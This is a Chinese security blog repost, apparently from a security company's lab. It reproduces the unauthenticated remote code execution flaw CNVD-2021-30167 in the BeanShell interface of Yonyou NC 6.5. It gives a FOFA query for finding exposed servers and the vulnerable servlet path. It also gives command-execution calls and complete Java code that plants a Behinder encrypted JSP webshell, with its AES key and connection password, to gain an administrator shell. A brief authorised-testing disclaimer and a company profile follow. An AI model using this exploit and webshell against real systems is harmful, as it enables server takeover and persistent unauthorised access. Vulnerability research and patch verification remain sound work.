漏洞复现 CNVD-2021-30167 用友NC BeanShell接口RCE

admin 2022年7月27日23:52:36安全文章评论25 views1651字阅读5分30秒阅读模式

0x01 漏洞描述

   该漏洞为远程命令执行漏洞,由于用友NC对外开放了BeanShell接口,攻击者可以在无需经过身份验证的情况下直接访问该接口,并构造恶意数据执行任意命令,攻击成功可获得目标服务器权限。漏洞复现 CNVD-2021-30167 用友NC BeanShell接口RCE


0x02 漏洞复现

洞影响: 用友NC6.5

FOFA:title=="YONYOU NC"


1.进入BeanShell接口路径

http://x.x.x.x:8181/servlet/~ic/bsh.servlet.BshServlet

漏洞复现 CNVD-2021-30167 用友NC BeanShell接口RCE


2.执行命令

exec("whoami");

漏洞复现 CNVD-2021-30167 用友NC BeanShell接口RCE


3.使用java写入冰蝎shell,这里需要使用dir进行查路径

1.查到路径:dir("E://nc65//webapps//nc_web");
2.java写入冰蝎马import java.io.*;String filePath = "./webapps/cmd.jsp"; String conent ="<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>";BufferedWriter out = null;try {File file = new File(filePath);File fileParent = file.getParentFile();if (!fileParent.exists()) {fileParent.mkdirs();}file.createNewFile();out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file, true)));out.write(conent);}catch(Exception e) {e.printStackTrace();} finally {try {out.close();} catch (IOException e) {e.printStackTrace();}}

漏洞复现 CNVD-2021-30167 用友NC BeanShell接口RCE


4.冰蝎连接,得到一个管理员权限的shell,密码为rebeyond

漏洞复现 CNVD-2021-30167 用友NC BeanShell接口RCE

(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)


0x03 公司简介

江西渝融云安全科技有限公司,2017年发展至今,已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司,是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
    公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证,拥有软件著作权十八项;荣获2020年全国工控安全深度行安全攻防对抗赛三等奖;庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......

编制:sm

审核:fjh

审核:Dog


原文始发于微信公众号(融云攻防实验室):漏洞复现 CNVD-2021-30167 用友NC BeanShell接口RCE

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月27日23:52:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  漏洞复现 CNVD-2021-30167 用友NC BeanShell接口RCE http://cn-sec.com/archives/1205490.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: